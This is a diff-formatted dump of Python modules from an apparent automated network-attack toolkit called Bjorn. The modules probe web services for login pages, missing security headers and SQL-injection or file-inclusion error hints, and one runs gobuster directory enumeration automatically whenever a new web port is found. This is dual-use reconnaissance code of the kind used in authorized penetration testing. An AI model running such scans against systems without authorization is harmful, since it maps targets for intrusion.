"include(",
|
||||
"require(",
|
||||
"include_once(",
|
||||
"require_once(",
|
||||
]
|
||||
DEBUG_HINTS = [
|
||||
"stack trace",
|
||||
"traceback",
|
||||
"exception",
|
||||
"fatal error",
|
||||
"notice:",
|
||||
"warning:",
|
||||
"debug",
|
||||
]
|
||||
|
||||
|
||||
def _scheme_for_port(port: int) -> str:
|
||||
https_ports = {443, 8443, 9443, 10443, 9444, 5000, 5001, 7080, 9080}
|
||||
return "https" if int(port) in https_ports else "http"
|
||||
|
||||
|
||||
def _first_hostname_from_row(row: Dict) -> str:
|
||||
try:
|
||||
hn = (row.get("Hostname") or row.get("hostname") or row.get("hostnames") or "").strip()
|
||||
if ";" in hn:
|
||||
hn = hn.split(";", 1)[0].strip()
|
||||
return hn
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
|
||||
def _lower_headers(headers: Dict[str, str]) -> Dict[str, str]:
|
||||
out = {}
|
||||
for k, v in (headers or {}).items():
|
||||
if not k:
|
||||
continue
|
||||
out[str(k).lower()] = str(v)
|
||||
return out
|
||||
|
||||
|
||||
def _detect_signals(status: int, headers: Dict[str, str], body_snippet: str) -> Dict[str, object]:
|
||||
h = _lower_headers(headers)
|
||||
www = h.get("www-authenticate", "")
|
||||
set_cookie = h.get("set-cookie", "")
|
||||
|
||||
auth_type = None
|
||||
if status == 401 and "basic" in www.lower():
|
||||
auth_type = "basic"
|
||||
elif status == 401 and "digest" in www.lower():
|
||||
auth_type = "digest"
|
||||
|
||||
snippet = (body_snippet or "").lower()
|
||||
has_form = "<form" in snippet
|
||||
has_password = "type=\"password\"" in snippet or "type='password'" in snippet
|
||||
looks_like_login = bool(has_form and has_password) or any(x in snippet for x in ["login", "sign in", "connexion"])
|
||||
|
||||
csrf_markers = [
|
||||
"csrfmiddlewaretoken",
|
||||
"authenticity_token",
|
||||
"csrf_token",
|
||||
"name=\"_token\"",
|
||||
"name='_token'",
|
||||
]
|
||||
has_csrf = any(m in snippet for m in csrf_markers)
|
||||
|
||||
missing_headers = []
|
||||
for header in [
|
||||
"x-frame-options",
|
||||
"x-content-type-options",
|
||||
"content-security-policy",
|
||||
"referrer-policy",
|
||||
]:
|
||||
if header not in h:
|
||||
missing_headers.append(header)
|
||||
# HSTS is only relevant on HTTPS.
|
||||
if "strict-transport-security" not in h:
|
||||
missing_headers.append("strict-transport-security")
|
||||
|
||||
rate_limited_hint = (status == 429) or ("retry-after" in h) or ("x-ratelimit-remaining" in h)
|
||||
|
||||
# Very cheap "issue hints"
|
||||
issues = []
|
||||
for s in SQLI_ERRORS:
|
||||
if s in snippet:
|
||||
issues.append("sqli_error_hint")
|
||||
break
|
||||
for s in LFI_HINTS:
|
||||
if s in snippet:
|
||||
issues.append("lfi_hint")
|
||||
break
|
||||
for s in DEBUG_HINTS:
|
||||
if s in snippet:
|
||||
issues.append("debug_hint")
|
||||
break
|
||||
|
||||
cookie_names = []
|
||||
if set_cookie:
|
||||
for part in set_cookie.split(","):
|
||||
name = part.split(";", 1)[0].split("=", 1)[0].strip()
|
||||
if name and name not in cookie_names:
|
||||
cookie_names.append(name)
|
||||
|
||||
return {
|
||||
"auth_type": auth_type,
|
||||
"looks_like_login": bool(looks_like_login),
|
||||
"has_csrf": bool(has_csrf),
|
||||
"missing_security_headers": missing_headers[:12],
|
||||
"rate_limited_hint": bool(rate_limited_hint),
|
||||
"issues": issues[:8],
|
||||
"cookie_names": cookie_names[:12],
|
||||
"server": h.get("server", ""),
|
||||
"x_powered_by": h.get("x-powered-by", ""),
|
||||
}
|
||||
|
||||
|
||||
class ValkyrieScout:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self._ssl_ctx = ssl._create_unverified_context()
|
||||
|
||||
def _fetch(
|
||||
self,
|
||||
*,
|
||||
ip: str,
|
||||
port: int,
|
||||
scheme: str,
|
||||
path: str,
|
||||
timeout_s: float,
|
||||
user_agent: str,
|
||||
max_bytes: int,
|
||||
) -> Tuple[int, Dict[str, str], str, int, int]:
|
||||
started = time.time()
|
||||
headers_out: Dict[str, str] = {}
|
||||
status = 0
|
||||
size = 0
|
||||
body_snip = ""
|
||||
|
||||
conn = None
|
||||
try:
|
||||
if scheme == "https":
|
||||
conn = HTTPSConnection(ip, port=port, timeout=timeout_s, context=self._ssl_ctx)
|
||||
else:
|
||||
conn = HTTPConnection(ip, port=port, timeout=timeout_s)
|
||||
|
||||
conn.request("GET", path, headers={"User-Agent": user_agent, "Accept": "*/*"})
|
||||
resp = conn.getresponse()
|
||||
status = int(resp.status or 0)
|
||||
for k, v in resp.getheaders():
|
||||
if k and v:
|
||||
headers_out[str(k)] = str(v)
|
||||
|
||||
chunk = resp.read(max_bytes)
|
||||
size = len(chunk or b"")
|
||||
try:
|
||||
body_snip = (chunk or b"").decode("utf-8", errors="ignore")
|
||||
except Exception:
|
||||
body_snip = ""
|
||||
except (ConnectionError, TimeoutError, RemoteDisconnected):
|
||||
status = 0
|
||||
except Exception:
|
||||
status = 0
|
||||
finally:
|
||||
try:
|
||||
if conn:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
elapsed_ms = int((time.time() - started) * 1000)
|
||||
return status, headers_out, body_snip, size, elapsed_ms
|
||||
|
||||
def _db_upsert(
|
||||
self,
|
||||
*,
|
||||
mac: str,
|
||||
ip: str,
|
||||
hostname: str,
|
||||
port: int,
|
||||
path: str,
|
||||
status: int,
|
||||
size: int,
|
||||
response_ms: int,
|
||||
content_type: str,
|
||||
payload: dict,
|
||||
user_agent: str,
|
||||
):
|
||||
try:
|
||||
headers_json = json.dumps(payload, ensure_ascii=True)
|
||||
except Exception:
|
||||
headers_json = ""
|
||||
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
INSERT INTO webenum (
|
||||
mac_address, ip, hostname, port, directory, status,
|
||||
size, response_time, content_type, tool, method,
|
||||
user_agent, headers, is_active
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 'valkyrie_scout', 'GET', ?, ?, 1)
|
||||
ON CONFLICT(mac_address, ip, port, directory) DO UPDATE SET
|
||||
status = excluded.status,
|
||||
size = excluded.size,
|
||||
response_time = excluded.response_time,
|
||||
content_type = excluded.content_type,
|
||||
hostname = COALESCE(excluded.hostname, webenum.hostname),
|
||||
user_agent = COALESCE(excluded.user_agent, webenum.user_agent),
|
||||
headers = COALESCE(excluded.headers, webenum.headers),
|
||||
last_seen = CURRENT_TIMESTAMP,
|
||||
is_active = 1
|
||||
""",
|
||||
(
|
||||
mac or "",
|
||||
ip or "",
|
||||
hostname or "",
|
||||
int(port),
|
||||
path or "/",
|
||||
int(status),
|
||||
int(size or 0),
|
||||
int(response_ms or 0),
|
||||
content_type or "",
|
||||
user_agent or "",
|
||||
headers_json,
|
||||
),
|
||||
)
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
try:
|
||||
port_i = int(port) if str(port).strip() else int(getattr(self, "port", 80) or 80)
|
||||
except Exception:
|
||||
port_i = 80
|
||||
|
||||
scheme = _scheme_for_port(port_i)
|
||||
hostname = _first_hostname_from_row(row)
|
||||
mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip()
|
||||
|
||||
timeout_s = float(getattr(self.shared_data, "web_probe_timeout_s", 4.0))
|
||||
user_agent = str(getattr(self.shared_data, "web_probe_user_agent", "BjornWebScout/1.0"))
|
||||
max_bytes = int(getattr(self.shared_data, "web_probe_max_bytes", 65536))
|
||||
delay_s = float(getattr(self.shared_data, "valkyrie_delay_s", 0.05))
|
||||
|
||||
paths = getattr(self.shared_data, "valkyrie_scout_paths", None)
|
||||
if not isinstance(paths, list) or not paths:
|
||||
paths = DEFAULT_PATHS
|
||||
|
||||
# UI
|
||||
self.shared_data.bjorn_orch_status = "ValkyrieScout"
|
||||
self.shared_data.bjorn_status_text2 = f"{ip}:{port_i}"
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port_i)}
|
||||
|
||||
progress = ProgressTracker(self.shared_data, len(paths))
|
||||
|
||||
try:
|
||||
for p in paths:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
path = str(p or "/").strip()
|
||||
if not path.startswith("/"):
|
||||
path = "/" + path
|
||||
|
||||
status, headers, body, size, elapsed_ms = self._fetch(
|
||||
ip=ip,
|
||||
port=port_i,
|
||||
scheme=scheme,
|
||||
path=path,
|
||||
timeout_s=timeout_s,
|
||||
user_agent=user_agent,
|
||||
max_bytes=max_bytes,
|
||||
)
|
||||
|
||||
# Only keep minimal info; do not store full HTML.
|
||||
ctype = headers.get("Content-Type") or headers.get("content-type") or ""
|
||||
signals = _detect_signals(status, headers, body)
|
||||
|
||||
payload = {
|
||||
"signals": signals,
|
||||
"sample": {"status": int(status), "content_type": ctype, "rt_ms": int(elapsed_ms)},
|
||||
}
|
||||
|
||||
try:
|
||||
self._db_upsert(
|
||||
mac=mac,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
port=port_i,
|
||||
path=path,
|
||||
status=status or 0,
|
||||
size=size,
|
||||
response_ms=elapsed_ms,
|
||||
content_type=ctype,
|
||||
payload=payload,
|
||||
user_agent=user_agent,
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DB write failed for {ip}:{port_i}{path}: {e}")
|
||||
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"port": str(port_i),
|
||||
"path": path,
|
||||
"status": str(status),
|
||||
"login": str(int(bool(signals.get("looks_like_login") or signals.get("auth_type")))),
|
||||
}
|
||||
progress.advance(1)
|
||||
|
||||
if delay_s > 0:
|
||||
time.sleep(delay_s)
|
||||
|
||||
progress.set_complete()
|
||||
return "success"
|
||||
except Exception as e:
|
||||
logger.error(f"ValkyrieScout failed for {ip}:{port_i}: {e}")
|
||||
return "failed"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
self.shared_data.bjorn_status_text2 = ""
|
||||
|
||||
|
||||
# -------------------- Optional CLI (debug/manual) --------------------
|
||||
if __name__ == "__main__":
|
||||
import argparse
|
||||
from shared import SharedData
|
||||
|
||||
parser = argparse.ArgumentParser(description="ValkyrieScout (light web scout)")
|
||||
parser.add_argument("--ip", required=True)
|
||||
parser.add_argument("--port", default="80")
|
||||
args = parser.parse_args()
|
||||
|
||||
sd = SharedData()
|
||||
act = ValkyrieScout(sd)
|
||||
row = {"MAC Address": sd.get_raspberry_mac() or "__GLOBAL__", "Hostname": ""}
|
||||
print(act.execute(args.ip, args.port, row, "ValkyrieScout"))
|
||||
|
||||
@@ -1,429 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""web_enum.py - Gobuster-powered web directory enumeration, streaming results to DB."""
|
||||
|
||||
import re
|
||||
import socket
|
||||
import subprocess
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
import os
|
||||
import select
|
||||
from typing import List, Dict, Tuple, Optional, Set
|
||||
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
# -------------------- Logger & module meta --------------------
|
||||
logger = Logger(name="web_enum.py", level=logging.DEBUG)
|
||||
|
||||
b_class = "WebEnumeration"
|
||||
b_module = "web_enum"
|
||||
b_status = "WebEnumeration"
|
||||
b_port = 80
|
||||
b_service = '["http","https"]'
|
||||
b_trigger = 'on_any:["on_web_service","on_new_port:80","on_new_port:443","on_new_port:8080","on_new_port:8443","on_new_port:9443","on_new_port:8000","on_new_port:8888","on_new_port:81","on_new_port:5000","on_new_port:5001","on_new_port:7080","on_new_port:9080"]'
|
||||
b_parent = None
|
||||
b_priority = 9
|
||||
b_cooldown = 1800
|
||||
b_rate_limit = '3/86400'
|
||||
b_enabled = 1
|
||||
b_timeout = 600
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 4
|
||||
b_risk_level = "low"
|
||||
b_action = "normal"
|
||||
b_tags = ["web", "enum", "gobuster", "directories"]
|
||||
b_category = "recon"
|
||||
b_name = "Web Enumeration"
|
||||
b_description = "Gobuster-powered web directory enumeration with streaming results to DB."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "WebEnumeration.png"
|
||||
|
||||
# -------------------- Defaults & parsing --------------------
|
||||
DEFAULT_WEB_STATUS_CODES = [
|
||||
200, 201, 202, 203, 204, 206,
|
||||
301, 302, 303, 307, 308,
|
||||
401, 403, 405,
|
||||
"5xx",
|
||||
]
|
||||
|
||||
ANSI_RE = re.compile(r"\x1B\[[0-?]*[ -/]*[@-~]")
|
||||
CTL_RE = re.compile(r"[\x00-\x1F\x7F]") # non-printables
|
||||
|
||||
# Gobuster "dir" line examples handled:
|
||||
# /admin (Status: 301) [Size: 310] [--> http://10.0.0.5/admin/]
|
||||
GOBUSTER_LINE = re.compile(
|
||||
r"""^(?P<path>\S+)\s*
|
||||
\(Status:\s*(?P<status>\d{3})\)\s*
|
||||
(?:\[Size:\s*(?P<size>\d+)\])?
|
||||
(?:\s*\[\-\-\>\s*(?P<redir>[^\]]+)\])?
|
||||
""",
|
||||
re.VERBOSE
|
||||
)
|
||||
|
||||
# Regex to capture Gobuster progress from stderr
|
||||
# e.g.: "Progress: 1024 / 4096 (25.00%)"
|
||||
GOBUSTER_PROGRESS_RE = re.compile(r"Progress:\s+(?P<current>\d+)\s*/\s+(?P<total>\d+)")
|
||||
|
||||
|
||||
def _normalize_status_policy(policy) -> Set[int]:
|
||||
"""
|
||||
Convert a UI status policy into a set of HTTP status ints.
|
||||
"""
|
||||
codes: Set[int] = set()
|
||||
if not policy:
|
||||
policy = DEFAULT_WEB_STATUS_CODES
|
||||
for item in policy:
|
||||
try:
|
||||
if isinstance(item, int):
|
||||
if 100 <= item <= 599:
|
||||
codes.add(item)
|
||||
elif isinstance(item, str):
|
||||
s = item.strip().lower()
|
||||
if s.endswith("xx") and len(s) == 3 and s[0].isdigit():
|
||||
base = int(s[0]) * 100
|
||||
codes.update(range(base, base + 100))
|
||||
elif "-" in s:
|
||||
a, b = s.split("-", 1)
|
||||
a, b = int(a), int(b)
|
||||
a, b = max(100, a), min(599, b)
|
||||
if a <= b:
|
||||
codes.update(range(a, b + 1))
|
||||
else:
|
||||
v = int(s)
|
||||
if 100 <= v <= 599:
|
||||
codes.add(v)
|
||||
except Exception:
|
||||
logger.warning(f"Ignoring invalid status code token: {item!r}")
|
||||
return codes
|
||||
|
||||
|
||||
class WebEnumeration:
|
||||
"""
|
||||
Orchestrates Gobuster web dir enum and writes normalized results into DB.
|
||||
Streaming mode: Reads stdout/stderr in real-time for DB inserts and Progress UI.
|
||||
"""
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
import shutil
|
||||
self.gobuster_path = shutil.which("gobuster") or "/usr/bin/gobuster"
|
||||
self.wordlist = self.shared_data.common_wordlist
|
||||
self.lock = threading.Lock()
|
||||
|
||||
# Wordlist size cache (for % calculation)
|
||||
self.wordlist_size = 0
|
||||
self._count_wordlist_lines()
|
||||
|
||||
# ---- Sanity checks
|
||||
self._available = True
|
||||
if not os.path.exists(self.gobuster_path):
|
||||
logger.error(f"Gobuster not found at {self.gobuster_path}")
|
||||
self._available = False
|
||||
if not os.path.exists(self.wordlist):
|
||||
logger.error(f"Wordlist not found: {self.wordlist}")
|
||||
self._available = False
|
||||
|
||||
# Status code policy from UI; create if missing
|
||||
if not hasattr(self.shared_data, "web_status_codes") or not self.shared_data.web_status_codes:
|
||||
self.shared_data.web_status_codes = DEFAULT_WEB_STATUS_CODES.copy()
|
||||
|
||||
logger.info(
|
||||
f"WebEnumeration initialized (Streaming Mode). "
|
||||
f"Wordlist lines: {self.wordlist_size}. "
|
||||
f"Policy: {self.shared_data.web_status_codes}"
|
||||
)
|
||||
|
||||
def _count_wordlist_lines(self):
|
||||
"""Count wordlist lines once for progress % calculation."""
|
||||
if self.wordlist and os.path.exists(self.wordlist):
|
||||
try:
|
||||
# Fast buffered read
|
||||
with open(self.wordlist, 'rb') as f:
|
||||
self.wordlist_size = sum(1 for _ in f)
|
||||
except Exception as e:
|
||||
logger.error(f"Error counting wordlist lines: {e}")
|
||||
self.wordlist_size = 0
|
||||
|
||||
# -------------------- Utilities --------------------
|
||||
def _scheme_for_port(self, port: int) -> str:
|
||||
https_ports = {443, 8443, 9443, 10443, 9444, 5000, 5001, 7080, 9080}
|
||||
return "https" if int(port) in https_ports else "http"
|
||||
|
||||
def _reverse_dns(self, ip: str) -> Optional[str]:
|
||||
try:
|
||||
name, _, _ = socket.gethostbyaddr(ip)
|
||||
return name
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def _extract_identity(self, row: Dict) -> Tuple[str, Optional[str]]:
|
||||
"""Return (mac_address, hostname) from a row with tolerant keys."""
|
||||
mac = row.get("mac_address") or row.get("mac") or row.get("MAC") or ""
|
||||
hostname = row.get("hostname") or row.get("Hostname") or None
|
||||
return str(mac), (str(hostname) if hostname else None)
|
||||
|
||||
# -------------------- Filter helper --------------------
|
||||
def _allowed_status_set(self) -> Set[int]:
|
||||
"""Recalculated each run to reflect live UI updates."""
|
||||
try:
|
||||
return _normalize_status_policy(getattr(self.shared_data, "web_status_codes", None))
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to load shared_data.web_status_codes: {e}")
|
||||
return _normalize_status_policy(DEFAULT_WEB_STATUS_CODES)
|
||||
|
||||
# -------------------- DB Writer --------------------
|
||||
def _db_add_result(self,
|
||||
mac_address: str,
|
||||
ip: str,
|
||||
hostname: Optional[str],
|
||||
port: int,
|
||||
directory: str,
|
||||
status: int,
|
||||
size: int = 0,
|
||||
response_time: int = 0,
|
||||
content_type: Optional[str] = None,
|
||||
tool: str = "gobuster") -> None:
|
||||
"""Upsert a single record into `webenum`."""
|
||||
try:
|
||||
self.shared_data.db.execute("""
|
||||
INSERT INTO webenum (
|
||||
mac_address, ip, hostname, port, directory, status,
|
||||
size, response_time, content_type, tool, is_active
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 1)
|
||||
ON CONFLICT(mac_address, ip, port, directory) DO UPDATE SET
|
||||
status = excluded.status,
|
||||
size = excluded.size,
|
||||
response_time = excluded.response_time,
|
||||
content_type = excluded.content_type,
|
||||
hostname = COALESCE(excluded.hostname, webenum.hostname),
|
||||
tool = COALESCE(excluded.tool, webenum.tool),
|
||||
last_seen = CURRENT_TIMESTAMP,
|
||||
is_active = 1
|
||||
""", (mac_address, ip, hostname, int(port), directory, int(status),
|
||||
int(size or 0), int(response_time or 0), content_type, tool))
|
||||
logger.debug(f"DB upsert: {ip}:{port}{directory} -> {status} (size={size})")
|
||||
except Exception as e:
|
||||
logger.error(f"DB insert error for {ip}:{port}{directory}: {e}")
|
||||
|
||||
# -------------------- Public API (Streaming Version) --------------------
|
||||
def execute(self, ip: str, port: int, row: Dict, status_key: str) -> str:
|
||||
"""
|
||||
Run gobuster on (ip,port), STREAM stdout/stderr, upsert findings real-time.
|
||||
Updates bjorn_progress with 0-100% completion.
|
||||
Returns: 'success' | 'failed' | 'interrupted'
|
||||
"""
|
||||
if not self._available:
|
||||
return 'failed'
|
||||
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
scheme = self._scheme_for_port(port)
|
||||
base_url = f"{scheme}://{ip}:{port}"
|
||||
|
||||
# Setup Initial UI
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port), "url": base_url}
|
||||
self.shared_data.bjorn_orch_status = "WebEnumeration"
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
|
||||
logger.info(f"Enumerating {base_url} (Stream Mode)...")
|
||||
|
||||
# Prepare Identity & Policy
|
||||
mac_address, hostname = self._extract_identity(row)
|
||||
if not hostname:
|
||||
hostname = self._reverse_dns(ip)
|
||||
allowed = self._allowed_status_set()
|
||||
|
||||
# Command Construction
|
||||
# NOTE: Removed "--quiet" and "-z" to ensure we get Progress info on stderr
|
||||
# But we use --no-color to make parsing easier
|
||||
cmd = [
|
||||
self.gobuster_path, "dir",
|
||||
"-u", base_url,
|
||||
"-w", self.wordlist,
|
||||
"-t", "10", # Safe for RPi Zero
|
||||
"--no-color",
|
||||
"--no-progress=false", # Force progress bar even if redirected
|
||||
]
|
||||
|
||||
process = None
|
||||
findings_count = 0
|
||||
stop_requested = False
|
||||
|
||||
# For progress calc
|
||||
total_lines = self.wordlist_size if self.wordlist_size > 0 else 1
|
||||
last_progress_update = 0
|
||||
|
||||
try:
|
||||
# Merge stdout and stderr so we can read everything in one loop
|
||||
process = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
text=True,
|
||||
bufsize=1,
|
||||
universal_newlines=True
|
||||
)
|
||||
|
||||
# Use select() (on Linux) so we can react quickly to stop requests
|
||||
# without blocking forever on readline().
|
||||
while True:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
stop_requested = True
|
||||
break
|
||||
|
||||
if process.poll() is not None:
|
||||
# Process exited; drain remaining buffered output if any
|
||||
line = process.stdout.readline() if process.stdout else ""
|
||||
if not line:
|
||||
break
|
||||
else:
|
||||
line = ""
|
||||
if process.stdout:
|
||||
if os.name != "nt":
|
||||
r, _, _ = select.select([process.stdout], [], [], 0.2)
|
||||
if r:
|
||||
line = process.stdout.readline()
|
||||
else:
|
||||
# Windows: select() doesn't work on pipes; best-effort read.
|
||||
line = process.stdout.readline()
|
||||
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# 3. Clean Line
|
||||
clean_line = ANSI_RE.sub("", line).strip()
|
||||
clean_line = CTL_RE.sub("", clean_line).strip()
|
||||
if not clean_line:
|
||||
continue
|
||||
|
||||
# 4. Check for Progress
|
||||
if "Progress:" in clean_line:
|
||||
now = time.time()
|
||||
# Update UI max every 0.5s to save CPU
|
||||
if now - last_progress_update > 0.5:
|
||||
m_prog = GOBUSTER_PROGRESS_RE.search(clean_line)
|
||||
if m_prog:
|
||||
curr = int(m_prog.group("current"))
|
||||
# Calculate %
|
||||
pct = (curr / total_lines) * 100
|
||||
pct = min(pct, 100.0)
|
||||
self.shared_data.bjorn_progress = f"{int(pct)}%"
|
||||
last_progress_update = now
|
||||
continue
|
||||
|
||||
# 5. Check for Findings (Standard Gobuster Line)
|
||||
m_res = GOBUSTER_LINE.match(clean_line)
|
||||
if m_res:
|
||||
st = int(m_res.group("status"))
|
||||
|
||||
# Apply Filtering Logic BEFORE DB
|
||||
if st in allowed:
|
||||
path = m_res.group("path")
|
||||
if not path.startswith("/"): path = "/" + path
|
||||
size = int(m_res.group("size") or 0)
|
||||
redir = m_res.group("redir")
|
||||
|
||||
# Insert into DB Immediately
|
||||
self._db_add_result(
|
||||
mac_address=mac_address,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
port=port,
|
||||
directory=path,
|
||||
status=st,
|
||||
size=size,
|
||||
response_time=0,
|
||||
content_type=None,
|
||||
tool="gobuster"
|
||||
)
|
||||
|
||||
findings_count += 1
|
||||
# Live feedback in comments
|
||||
self.shared_data.comment_params = {
|
||||
"url": base_url,
|
||||
"found": str(findings_count),
|
||||
"last": path
|
||||
}
|
||||
continue
|
||||
|
||||
# (Optional) Log errors/unknown lines if needed
|
||||
# if "error" in clean_line.lower(): logger.debug(f"Gobuster err: {clean_line}")
|
||||
|
||||
# End of loop
|
||||
if stop_requested:
|
||||
logger.info("Interrupted by orchestrator.")
|
||||
return "interrupted"
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
return "success"
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Execute error on {base_url}: {e}")
|
||||
if process:
|
||||
try:
|
||||
process.terminate()
|
||||
except Exception:
|
||||
pass
|
||||
return "failed"
|
||||
finally:
|
||||
if process:
|
||||
try:
|
||||
if stop_requested and process.poll() is None:
|
||||
process.terminate()
|
||||
# Always reap the child to avoid zombies.
|
||||
try:
|
||||
process.wait(timeout=2)
|
||||
except Exception:
|
||||
try:
|
||||
process.kill()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
process.wait(timeout=2)
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
try:
|
||||
if process.stdout:
|
||||
process.stdout.close()
|
||||
except Exception:
|
||||
pass
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"General execution error: {e}")
|
||||
return "failed"
|
||||
|
||||
|
||||
# -------------------- CLI mode (debug/manual) --------------------
|
||||
if __name__ == "__main__":
|
||||
shared_data = SharedData()
|
||||
try:
|
||||
web_enum = WebEnumeration(shared_data)
|
||||
logger.info("Starting web directory enumeration (CLI)...")
|
||||
|
||||
rows = shared_data.read_data()
|
||||
for row in rows:
|
||||
ip = row.get("IPs") or row.get("ip")
|
||||
if not ip:
|
||||
continue
|
||||
port = row.get("port") or 80
|
||||
logger.info(f"Execute WebEnumeration on {ip}:{port} ...")
|
||||
status = web_enum.execute(ip, int(port), row, "enum_web_directories")
|
||||
|
||||
if status == "success":
|
||||
logger.success(f"Enumeration successful for {ip}:{port}.")
|
||||
elif status == "interrupted":
|
||||
logger.warning(f"Enumeration interrupted for {ip}:{port}.")
|
||||
break
|
||||
else:
|
||||
logger.failed(f"Enumeration failed for {ip}:{port}.")
|
||||
|
||||
logger.info("Web directory enumeration completed.")
|
||||
except Exception as e:
|
||||
logger.error(f"General execution error: {e}")
|
||||
@@ -1,323 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""web_login_profiler.py - Detect login forms and auth controls on web endpoints (no exploitation)."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
import ssl
|
||||
import time
|
||||
from http.client import HTTPConnection, HTTPSConnection, RemoteDisconnected
|
||||
from typing import Dict, Optional, Tuple
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker
|
||||
|
||||
logger = Logger(name="web_login_profiler.py", level=logging.DEBUG)
|
||||
|
||||
# -------------------- Action metadata (AST-friendly) --------------------
|
||||
b_class = "WebLoginProfiler"
|
||||
b_module = "web_login_profiler"
|
||||
b_status = "WebLoginProfiler"
|
||||
b_port = 80
|
||||
b_parent = None
|
||||
b_service = '["http","https"]'
|
||||
b_trigger = "on_web_service"
|
||||
b_priority = 55
|
||||
b_action = "normal"
|
||||
b_cooldown = 1800
|
||||
b_rate_limit = "6/86400"
|
||||
b_enabled = 1
|
||||
b_timeout = 300
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 5
|
||||
b_risk_level = "low"
|
||||
b_tags = ["web", "login", "auth", "profiler"]
|
||||
b_category = "recon"
|
||||
b_name = "Web Login Profiler"
|
||||
b_description = "Detects login forms and auth controls on web endpoints."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "WebLoginProfiler.png"
|
||||
|
||||
# Small curated list, cheap but high signal.
|
||||
DEFAULT_PATHS = [
|
||||
"/",
|
||||
"/login",
|
||||
"/signin",
|
||||
"/auth",
|
||||
"/admin",
|
||||
"/administrator",
|
||||
"/wp-login.php",
|
||||
"/user/login",
|
||||
"/robots.txt",
|
||||
]
|
||||
|
||||
ANSI_RE = re.compile(r"\x1B\[[0-?]*[ -/]*[@-~]")
|
||||
|
||||
|
||||
def _scheme_for_port(port: int) -> str:
|
||||
https_ports = {443, 8443, 9443, 10443, 9444, 5000, 5001, 7080, 9080}
|
||||
return "https" if int(port) in https_ports else "http"
|
||||
|
||||
|
||||
def _first_hostname_from_row(row: Dict) -> str:
|
||||
try:
|
||||
hn = (row.get("Hostname") or row.get("hostname") or row.get("hostnames") or "").strip()
|
||||
if ";" in hn:
|
||||
hn = hn.split(";", 1)[0].strip()
|
||||
return hn
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
|
||||
def _detect_signals(status: int, headers: Dict[str, str], body_snippet: str) -> Dict[str, object]:
|
||||
h = {str(k).lower(): str(v) for k, v in (headers or {}).items()}
|
||||
www = h.get("www-authenticate", "")
|
||||
set_cookie = h.get("set-cookie", "")
|
||||
|
||||
auth_type = None
|
||||
if status == 401 and "basic" in www.lower():
|
||||
auth_type = "basic"
|
||||
elif status == 401 and "digest" in www.lower():
|
||||
auth_type = "digest"
|
||||
|
||||
# Very cheap login form heuristics
|
||||
snippet = (body_snippet or "").lower()
|
||||
has_form = "<form" in snippet
|
||||
has_password = "type=\"password\"" in snippet or "type='password'" in snippet
|
||||
looks_like_login = bool(has_form and has_password) or any(x in snippet for x in ["login", "sign in", "connexion"])
|
||||
|
||||
csrf_markers = [
|
||||
"csrfmiddlewaretoken",
|
||||
"authenticity_token",
|
||||
"csrf_token",
|
||||
"name=\"_token\"",
|
||||
"name='_token'",
|
||||
]
|
||||
has_csrf = any(m in snippet for m in csrf_markers)
|
||||
|
||||
# Rate limit / lockout hints
|
||||
rate_limited = (status == 429) or ("retry-after" in h) or ("x-ratelimit-remaining" in h)
|
||||
|
||||
cookie_names = []
|
||||
if set_cookie:
|
||||
# Parse only cookie names cheaply
|
||||
for part in set_cookie.split(","):
|
||||
name = part.split(";", 1)[0].split("=", 1)[0].strip()
|
||||
if name and name not in cookie_names:
|
||||
cookie_names.append(name)
|
||||
|
||||
framework_hints = []
|
||||
for cn in cookie_names:
|
||||
l = cn.lower()
|
||||
if l in {"csrftoken", "sessionid"}:
|
||||
framework_hints.append("django")
|
||||
elif l in {"laravel_session", "xsrf-token"}:
|
||||
framework_hints.append("laravel")
|
||||
